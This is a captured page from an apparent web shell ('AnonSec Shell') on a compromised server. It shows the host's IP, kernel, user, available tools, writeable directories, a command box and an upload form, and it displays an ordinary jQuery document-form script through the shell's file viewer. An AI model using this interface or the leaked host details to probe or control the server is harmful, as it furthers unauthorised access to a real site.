AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.20
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/imobles/application/plugins/module_imobles/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/imobles/application/plugins/module_imobles/assets/js/docs-form.js
/* global ind_mil, curr_code, ind_decimal */
$(document).ready(function ()
{
    var _url = $("#_url").val();
    $("#emsg").hide();
    findDataSelect("#module_imobles_docs_category_id", 'module_imobles/ajax/module_imobles_docs_category', '');

    $(".date").datepicker();


    $(".replace_doc").click(function (e) {
        $(".div_file").addClass("hide");
        $(".div_file_upload").removeClass("hide");
        
    });
    $("#submit_docs").click(function (e) {
        $.ajax(
                {
                    type: 'POST',
                    url: _url + "module_imobles/docs/post",
                    data: new FormData($("#form-docs")[0]),
                    processData: false,
                    contentType: false,
                    success: function (data) {
                        if (data == "OK") {
                            location.reload();
                        } else {
                            var body = $("html, body");
                            body.animate({scrollTop: 0}, '1000', 'swing');
                            $("#emsgbody").html(data);
                            $("#emsg").show("slow");
                        }
                    }
                });
    });



//NOVO category

 var _msg_add_new_docs_category = $("#_msg_add_new_docs_category").val();
    var _msg_docs_category_name = $("#_msg_docs_category_name").val();
    var _msg_edit = $("#_msg_edit").val();
    var _msg_ok = $("#_msg_ok").val();
    var _msg_cancel = $("#_msg_cancel").val();


    var ib_form_bootbox = "<form class=\"form-horizontal push-10\" method=\"post\" onsubmit=\"return false;\">\n    <div class=\"form-docs_category row\">\n        <div class=\"col-xs-12\">\n            <div class=\"form-material floating\">\n                <input class=\"form-control\" docs_category=\"text\" id=\"docs_category_name\" name=\"docs_category_name\">\n                <label for=\"docs_category_name\">" + _msg_docs_category_name + "</label>\n                           </div>\n        </div>\n    </div>\n\n</form>";

   var box;

    $("#add_new_docs_category").click(function (e) {

        e.preventDefault();
        box = bootbox.dialog({
            title: _msg_add_new_docs_category,
            message: ib_form_bootbox,
            buttons: {
                success: {
                    label: $("#_msg_save").val(),
                    className: "btn-primary",
                    callback: function () {

                        var docs_category_name_val = $('#docs_category_name').val();

                        $.post(_url + "module_imobles/docscategory/post/", {name: docs_category_name_val})
                                .done(function (data) {

                                    if (data == 'OK') {
                                        toastr.success($('#_msg_saved').val());
                                      //  location.reload();
                                    } else {
                                        bootbox.alert(data);
                                    }

                                });


                    }
                }
            },
            show: false
        }
        );

        box.modal('show');

        box.on("shown.bs.modal", function () {

            var docs_category_name = $('#docs_category_name');
            setTimeout(function () {
                docs_category_name.focus();
            }, 1000);

        });
    });

});

Anon7 - 2022
AnonSec Team